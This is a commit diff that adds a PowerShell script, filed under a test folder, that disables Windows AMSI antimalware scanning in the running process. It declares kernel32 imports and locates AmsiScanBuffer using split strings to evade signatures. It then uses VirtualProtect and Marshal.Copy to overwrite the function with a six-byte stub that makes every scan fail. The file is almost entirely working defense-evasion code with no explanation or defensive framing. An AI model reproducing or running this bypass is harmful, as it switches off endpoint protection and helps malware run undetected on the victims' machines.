Update test/Add-Type2.ps1

test/Add-Type2.ps1

@@ -1 +1,41 @@
-Add-Type ${WIN`32};
+$Win32 = @"
+
+using System;
+using System.Runtime.InteropServices;
+
+public class Win32 {
+
+    [DllImport("kernel32")]
+    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
+
+    [DllImport("kernel32")]
+    public static extern IntPtr LoadLibrary(string name);
+
+    [DllImport("kernel32")]
+    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
+
+}
+"@
+
+Add-Type $Win32
+
+$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
+$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
+$p = 0
+[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
+
+$namespace = [System.Runtime.InteropServices.Marshal]
+$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
+
+$method = 'Copy'
+
+$source = ${Patch}
+
+$startIndex = 0
+
+$destination = ${address}
+
+$length = 6
+
+
+$namespace::$method($source, $startIndex, $destination, $length)